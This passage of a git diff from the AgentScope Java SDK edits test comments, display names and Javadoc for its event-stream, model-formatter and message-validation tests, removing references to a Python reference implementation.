    The {@link StreamOrdering} suite is {@link Disabled} until the Agent + * re-design is complete. It documents the canonical event sequence so the + * implementation can drop in assertions without re-deriving it. */ class AgentEventStreamTest { @Nested - @DisplayName("Python ↔ Java event-name aliases round-trip via Jackson") + @DisplayName("Legacy event-name aliases round-trip via Jackson") class JsonAliasRoundTrip { private final ObjectMapper mapper = new ObjectMapper(); @@ -96,7 +95,7 @@ void toolResultBinaryDeltaAlias() throws Exception { } @Test - @DisplayName("Java-native names round-trip unchanged") + @DisplayName("Canonical names round-trip unchanged") void javaNativeNamesRoundTrip() throws Exception { for (AgentEventType type : AgentEventType.values()) { String json = mapper.writeValueAsString(type); @@ -123,13 +122,13 @@ void fromValueRejectsNull() { } @Nested - @DisplayName("AgentEventType enumeration covers Python v2_dev surface") + @DisplayName("AgentEventType enumeration covers the full event surface") class EnumCoverage { @Test - @DisplayName("All 25 Python EventType values resolve to a Java enum constant") + @DisplayName("All 25 supported event names resolve to a Java enum constant") void allPythonValuesResolve() { - // Python agentscope.event.EventType (v2_dev) values: + // Canonical and legacy event-name surface: String[] pythonValues = { "RUN_STARTED", "RUN_FINISHED", @@ -159,7 +158,7 @@ void allPythonValuesResolve() { }; for (String name : pythonValues) { AgentEventType resolved = AgentEventType.fromValue(name); - assertNotNull(resolved, "Python EventType." + name + " must resolve"); + assertNotNull(resolved, "EventType " + name + " must resolve"); } } } diff --git a/agentscope-core/src/test/java/io/agentscope/core/formatter/DashScopeChatFormatterGroundTruthTest.java b/agentscope-core/src/test/java/io/agentscope/core/formatter/DashScopeChatFormatterGroundTruthTest.java index 992ee27e0..6d500be48 100644 --- a/agentscope-core/src/test/java/io/agentscope/core/formatter/DashScopeChatFormatterGroundTruthTest.java +++ b/agentscope-core/src/test/java/io/agentscope/core/formatter/DashScopeChatFormatterGroundTruthTest.java @@ -48,8 +48,7 @@ /** * Ground truth tests for DashScopeChatFormatter. - * This test validates that the formatter output matches the expected DashScope API format - * exactly as defined in the Python version. + * This test validates that the formatter output matches the expected DashScope API format. */ class DashScopeChatFormatterGroundTruthTest { @@ -69,13 +68,13 @@ class DashScopeChatFormatterGroundTruthTest { static void setUp() throws IOException { formatter = new DashScopeChatFormatter(); - // Create a temporary image file (matching Python test setup) + // Create a temporary image file. // Use unique filename to avoid conflicts with other test classes imagePath = "./image_chat_formatter.png"; File imageFile = new File(imagePath); Files.write(imageFile.toPath(), "fake image content".getBytes()); - // Mock audio path (matching Python test) + // Mock audio path mockAudioPath = "/var/folders/gf/krg8x_ws409cpw_46b2s6rjc0000gn/T/tmpfymnv2w9.wav"; // Build test messages diff --git a/agentscope-core/src/test/java/io/agentscope/core/formatter/DashScopeMultiAgentFormatterGroundTruthTest.java b/agentscope-core/src/test/java/io/agentscope/core/formatter/DashScopeMultiAgentFormatterGroundTruthTest.java index b3c8e92a5..cdb6a27c0 100644 --- a/agentscope-core/src/test/java/io/agentscope/core/formatter/DashScopeMultiAgentFormatterGroundTruthTest.java +++ b/agentscope-core/src/test/java/io/agentscope/core/formatter/DashScopeMultiAgentFormatterGroundTruthTest.java @@ -48,8 +48,7 @@ /** * Ground truth tests for DashScopeMultiAgentFormatter. - * This test validates that the formatter output matches the expected DashScope API format - * exactly as defined in the Python version. + * This test validates that the formatter output matches the expected DashScope API format. */ class DashScopeMultiAgentFormatterGroundTruthTest { @@ -73,13 +72,13 @@ class DashScopeMultiAgentFormatterGroundTruthTest { static void setUp() throws IOException { formatter = new DashScopeMultiAgentFormatter(); - // Create a temporary image file (matching Python test setup) + // Create a temporary image file. // Use unique filename to avoid conflicts with other test classes imagePath = "./image_multiagent_formatter.png"; File imageFile = new File(imagePath); Files.write(imageFile.toPath(), "fake image content".getBytes()); - // Mock audio path (matching Python test) + // Mock audio path mockAudioPath = "/var/folders/gf/krg8x_ws409cpw_46b2s6rjc0000gn/T/tmpfymnv2w9.wav"; // Build test messages @@ -283,7 +282,7 @@ private static void buildTestMessages() { .build())) .role(MsgRole.ASSISTANT) .build(), - // Tool result (note: different tool_call_id "2" in Python test) + // Tool result (uses tool_call_id "2") Msg.builder() .name("system") .content( diff --git a/agentscope-core/src/test/java/io/agentscope/core/formatter/anthropic/AnthropicChatFormatterGroundTruthTest.java b/agentscope-core/src/test/java/io/agentscope/core/formatter/anthropic/AnthropicChatFormatterGroundTruthTest.java index 45be17b2c..b9943a11e 100644 --- a/agentscope-core/src/test/java/io/agentscope/core/formatter/anthropic/AnthropicChatFormatterGroundTruthTest.java +++ b/agentscope-core/src/test/java/io/agentscope/core/formatter/anthropic/AnthropicChatFormatterGroundTruthTest.java @@ -35,7 +35,7 @@ import org.junit.jupiter.api.BeforeEach; import org.junit.jupiter.api.Test; -/** Ground truth tests for AnthropicChatFormatter - compares with Python implementation. */ +/** Ground truth tests for AnthropicChatFormatter. */ class AnthropicChatFormatterGroundTruthTest { private AnthropicChatFormatter formatter; @@ -157,7 +157,6 @@ void testChatFormatterFullHistory() throws Exception { String resultJson = ObjectMappers.jsonMapper().writeValueAsString(result); JsonNode resultNode = jsonCodec.fromJson(resultJson, JsonNode.class); - // Ground truth from Python implementation String groundTruthJson = """ [ diff --git a/agentscope-core/src/test/java/io/agentscope/core/formatter/anthropic/AnthropicMultiAgentFormatterGroundTruthTest.java b/agentscope-core/src/test/java/io/agentscope/core/formatter/anthropic/AnthropicMultiAgentFormatterGroundTruthTest.java index ee98dd381..a4f5a373b 100644 --- a/agentscope-core/src/test/java/io/agentscope/core/formatter/anthropic/AnthropicMultiAgentFormatterGroundTruthTest.java +++ b/agentscope-core/src/test/java/io/agentscope/core/formatter/anthropic/AnthropicMultiAgentFormatterGroundTruthTest.java @@ -36,7 +36,7 @@ import org.junit.jupiter.api.Test; /** - * Ground truth tests for AnthropicMultiAgentFormatter - compares with Python implementation. + * Ground truth tests for AnthropicMultiAgentFormatter. */ class AnthropicMultiAgentFormatterGroundTruthTest { @@ -217,7 +217,6 @@ void testMultiAgentFormatterFullHistory() throws Exception { String resultJson = ObjectMappers.jsonMapper().writeValueAsString(result); JsonNode resultNode = jsonCodec.fromJson(resultJson, JsonNode.class); - // Ground truth from Python implementation String groundTruthJson = """ [ diff --git a/agentscope-core/src/test/java/io/agentscope/core/formatter/gemini/GeminiChatFormatterGroundTruthTest.java b/agentscope-core/src/test/java/io/agentscope/core/formatter/gemini/GeminiChatFormatterGroundTruthTest.java index f5c8bf36b..fc7a01dff 100644 --- a/agentscope-core/src/test/java/io/agentscope/core/formatter/gemini/GeminiChatFormatterGroundTruthTest.java +++ b/agentscope-core/src/test/java/io/agentscope/core/formatter/gemini/GeminiChatFormatterGroundTruthTest.java @@ -36,8 +36,7 @@ /** * Ground truth tests for GeminiChatFormatter. - * This test validates that the formatter output matches the expected Gemini API format - * exactly as defined in the Python version. + * This test validates that the formatter output matches the expected Gemini API format. */ class GeminiChatFormatterGroundTruthTest extends GeminiFormatterTestBase { @@ -57,7 +56,7 @@ class GeminiChatFormatterGroundTruthTest extends GeminiFormatterTestBase { static void setUp() throws IOException { formatter = new GeminiChatFormatter(); - // Create temporary files matching Python test setup + // Create temporary files imagePath = "./image.png"; File imageFile = new File(imagePath); Files.write(imageFile.toPath(), "fake image content".getBytes()); diff --git a/agentscope-core/src/test/java/io/agentscope/core/formatter/gemini/GeminiFormatterTestData.java b/agentscope-core/src/test/java/io/agentscope/core/formatter/gemini/GeminiFormatterTestData.java index 67eccf3d4..c54583d9b 100644 --- a/agentscope-core/src/test/java/io/agentscope/core/formatter/gemini/GeminiFormatterTestData.java +++ b/agentscope-core/src/test/java/io/agentscope/core/formatter/gemini/GeminiFormatterTestData.java @@ -35,7 +35,7 @@ */ public class GeminiFormatterTestData { - // Mock audio path from Python tests + // Mock audio path public static final String MOCK_AUDIO_PATH = "/var/folders/gf/krg8x_ws409cpw_46b2s6rjc0000gn/T/tmpfymnv2w9.wav"; diff --git a/agentscope-core/src/test/java/io/agentscope/core/formatter/gemini/GeminiMultiAgentFormatterGroundTruthTest.java b/agentscope-core/src/test/java/io/agentscope/core/formatter/gemini/GeminiMultiAgentFormatterGroundTruthTest.java index b11854a1c..790540d47 100644 --- a/agentscope-core/src/test/java/io/agentscope/core/formatter/gemini/GeminiMultiAgentFormatterGroundTruthTest.java +++ b/agentscope-core/src/test/java/io/agentscope/core/formatter/gemini/GeminiMultiAgentFormatterGroundTruthTest.java @@ -39,8 +39,7 @@ /** * Ground truth tests for GeminiMultiAgentFormatter. * This test validates that the multi-agent formatter output matches the - * expected Gemini API format - * exactly as defined in the Python version. + * expected Gemini API format. */ class GeminiMultiAgentFormatterGroundTruthTest extends GeminiFormatterTestBase { @@ -66,7 +65,7 @@ class GeminiMultiAgentFormatterGroundTruthTest extends GeminiFormatterTestBase { static void setUp() throws IOException { formatter = new GeminiMultiAgentFormatter(); - // Create temporary files matching Python test setup + // Create temporary files imageTempPath = Files.createTempFile("gemini_test_image", ".png"); imagePath = imageTempPath.toAbsolutePath().toString(); Files.write(imageTempPath, "fake image content".getBytes()); @@ -86,9 +85,7 @@ static void setUp() throws IOException { groundTruthMultiAgent = parseGroundTruth(getGroundTruthMultiAgentJson()); groundTruthMultiAgent2 = parseGroundTruth(getGroundTruthMultiAgent2Json()); - // Build ground truth for "without first conversation" scenario - // This corresponds to Python's - // ground_truth_multiagent_without_first_conversation + // Build ground truth for "without first conversation" scenario. // Format: system + tools (without the conversation history wrapper) groundTruthMultiAgentWithoutFirstConversation = buildWithoutFirstConversationGroundTruth(); } @@ -226,8 +223,6 @@ void testMultiAgentFormatter_EmptyMessages() { /** * Build ground truth for "without first conversation" scenario. - * This is equivalent to Python's - * ground_truth_multiagent_without_first_conversation. * * @return Ground truth data */ diff --git a/agentscope-core/src/test/java/io/agentscope/core/formatter/gemini/GeminiPythonConsistencyTest.java b/agentscope-core/src/test/java/io/agentscope/core/formatter/gemini/GeminiPythonConsistencyTest.java index c64a41115..3dbf9f875 100644 --- a/agentscope-core/src/test/java/io/agentscope/core/formatter/gemini/GeminiPythonConsistencyTest.java +++ b/agentscope-core/src/test/java/io/agentscope/core/formatter/gemini/GeminiPythonConsistencyTest.java @@ -52,7 +52,6 @@ void setUp() throws IOException { @Test void testMultiAgentFormatMatchesPythonGroundTruth() { - // Test data matching Python's formatter_gemini_test.py lines 37-94 List messages = List.of( Msg.builder() @@ -81,7 +80,7 @@ void testMultiAgentFormatMatchesPythonGroundTruth() { List contents = formatter.format(messages); - // Verify structure matches Python ground truth + // Verify expected structure assertEquals(2, contents.size(), "Should have 2 Content objects"); // Content 1: System message @@ -131,7 +130,7 @@ void testMultiAgentFormatMatchesPythonGroundTruth() { !secondText.contains("## assistant (assistant)"), "Should NOT use '## name (role)' format"); - System.out.println("\n✅ Java implementation matches Python ground truth!"); + System.out.println("\n✅ Java implementation matches ground truth!"); } @Test diff --git a/agentscope-core/src/test/java/io/agentscope/core/formatter/ollama/OllamaChatFormatterTest.java b/agentscope-core/src/test/java/io/agentscope/core/formatter/ollama/OllamaChatFormatterTest.java index 6f3108cfe..1a1fbcc2b 100644 --- a/agentscope-core/src/test/java/io/agentscope/core/formatter/ollama/OllamaChatFormatterTest.java +++ b/agentscope-core/src/test/java/io/agentscope/core/formatter/ollama/OllamaChatFormatterTest.java @@ -65,7 +65,7 @@ void testConstructor() { } @Test - @DisplayName("Should format messages correctly - aligned with Python test_chat_formatter") + @DisplayName("Should format messages correctly") void testFormatMessages() { // Arrange: System messages List msgsSystem = @@ -166,7 +166,7 @@ void testFormatMessages() { List formatted = formatter.format(concatLists(msgsSystem, msgsConversation, msgsTools)); - // Assert: Check the expected result matches Python's ground_truth_chat + // Assert: Check the expected result matches the ground truth assertEquals(7, formatted.size()); assertEquals("system", formatted.get(0).getRole()); @@ -216,9 +216,7 @@ void testFormatMessages() { } @Test - @DisplayName( - "Should format messages without system message - aligned with Python" - + " test_chat_formatter") + @DisplayName("Should format messages without system message") void testFormatMessagesWithoutSystem() { // Arrange: Conversation and tools without system message List msgsConversation = @@ -309,9 +307,7 @@ void testFormatMessagesWithoutSystem() { } @Test - @DisplayName( - "Should format messages with promote tool result images - aligned with Python" - + " test_chat_formatter_with_extract_image_blocks") + @DisplayName("Should format messages with promote tool result images") void testFormatMessagesWithPromoteToolResultImages() { // Arrange: Create a formatter with promoteToolResultImages = true OllamaChatFormatter formatterWithPromote = new OllamaChatFormatter(true); diff --git a/agentscope-core/src/test/java/io/agentscope/core/formatter/ollama/OllamaMultiAgentFormatterTest.java b/agentscope-core/src/test/java/io/agentscope/core/formatter/ollama/OllamaMultiAgentFormatterTest.java index f04f90c22..6ea151a82 100644 --- a/agentscope-core/src/test/java/io/agentscope/core/formatter/ollama/OllamaMultiAgentFormatterTest.java +++ b/agentscope-core/src/test/java/io/agentscope/core/formatter/ollama/OllamaMultiAgentFormatterTest.java @@ -76,9 +76,7 @@ void testConstructorWithCustomPrompt() { } @Test - @DisplayName( - "Should format multi-agent conversation - aligned with Python" - + " test_multi_agent_formatter") + @DisplayName("Should format multi-agent conversation") void testFormatMultiAgentConversation() { // Arrange: System messages List msgsSystem = @@ -258,9 +256,7 @@ void testFormatMultiAgentConversation() { } @Test - @DisplayName( - "Should format multi-agent conversation without second tools - aligned with Python" - + " test_multi_agent_formatter") + @DisplayName("Should format multi-agent conversation without second tools") void testFormatMultiAgentWithoutSecondTools() { // Arrange: System messages List msgsSystem = @@ -384,9 +380,7 @@ void testFormatMultiAgentWithoutSecondTools() { } @Test - @DisplayName( - "Should format multi-agent conversation with promote tool result images - aligned with" - + " Python test_multi_agent_formatter_with_promote_tool_result_images") + @DisplayName("Should format multi-agent conversation with promote tool result images") void testFormatMultiAgentWithPromoteToolResultImages() { // Arrange: Create a formatter with promoteToolResultImages = true OllamaMultiAgentFormatter formatterWithPromote = new OllamaMultiAgentFormatter(true); diff --git a/agentscope-core/src/test/java/io/agentscope/core/message/DataBlockTest.java b/agentscope-core/src/test/java/io/agentscope/core/message/DataBlockTest.java index 0c7624a4e..6d41a1d82 100644 --- a/agentscope-core/src/test/java/io/agentscope/core/message/DataBlockTest.java +++ b/agentscope-core/src/test/java/io/agentscope/core/message/DataBlockTest.java @@ -28,8 +28,8 @@ import org.junit.jupiter.api.Test; /** - * Behaviour spec for {@link DataBlock} — the unified Python 2.0 multimedia - * container that replaces the legacy image/audio/video subclasses. + * Behaviour spec for {@link DataBlock} — the unified multimedia container that + * replaces the legacy image/audio/video subclasses. */ class DataBlockTest { diff --git a/agentscope-core/src/test/java/io/agentscope/core/message/RoleContentValidationTest.java b/agentscope-core/src/test/java/io/agentscope/core/message/RoleContentValidationTest.java index 468f5adb9..66b0d4d9e 100644 --- a/agentscope-core/src/test/java/io/agentscope/core/message/RoleContentValidationTest.java +++ b/agentscope-core/src/test/java/io/agentscope/core/message/RoleContentValidationTest.java @@ -30,19 +30,15 @@ import org.junit.jupiter.api.Test; /** - * Behaviour spec for {@code Msg#validateRoleContent()}, mirroring Python - * {@code agentscope.message._msg.Msg.validate_role_content} (v2_dev) with the - * two Java-specific carve-outs decided in Stage 1: + * Behaviour spec for {@code Msg#validateRoleContent()}. * *

      *
    • {@link MsgRole#USER} accepts the unified {@link DataBlock} and * the legacy {@link ImageBlock} / {@link AudioBlock} / {@link VideoBlock} - * subclasses (Python only has DataBlock, but the Java SDK keeps the - * legacy types for back-compat through Stage 11).
      • - *
    • {@link MsgRole#TOOL} is Java-only — Python has no TOOL role. Treated - * as unrestricted (same as assistant) to avoid cascading changes across - * the 27 formatter/converter call sites that already build TOOL - * messages with arbitrary block lists.
      • + * subclasses (kept for back-compat). + *
    • {@link MsgRole#TOOL} is treated as unrestricted (same as assistant) to + * avoid cascading changes across the formatter/converter call sites that + * already build TOOL messages with arbitrary block lists.
      • *
    * *

    Matrix actually enforced: @@ -51,9 +47,9 @@ * Role × block compatibility * RoleAllowed blocks * {@code USER}{@link TextBlock}, {@link DataBlock}, {@link ImageBlock}, {@link AudioBlock}, {@link VideoBlock} - * {@code ASSISTANT}any (no restriction — matches Python assistant) + * {@code ASSISTANT}any (no restriction) * {@code SYSTEM}{@link TextBlock} only - * {@code TOOL}any (Java back-compat carve-out) + * {@code TOOL}any (back-compat carve-out) * */ class RoleContentValidationTest { @@ -196,7 +192,7 @@ void userRejectsToolResult() { } @Nested - @DisplayName("ASSISTANT role: unrestricted (matches Python)") + @DisplayName("ASSISTANT role: unrestricted") class AssistantRole { @Test @@ -254,7 +250,7 @@ void assistantAcceptsMixedReasoningTurn() { } @Test - @DisplayName("ASSISTANT + ToolResultBlock is valid (Python unrestricted)") + @DisplayName("ASSISTANT + ToolResultBlock is valid (unrestricted)") void assistantAcceptsToolResult() { assertDoesNotThrow( () ->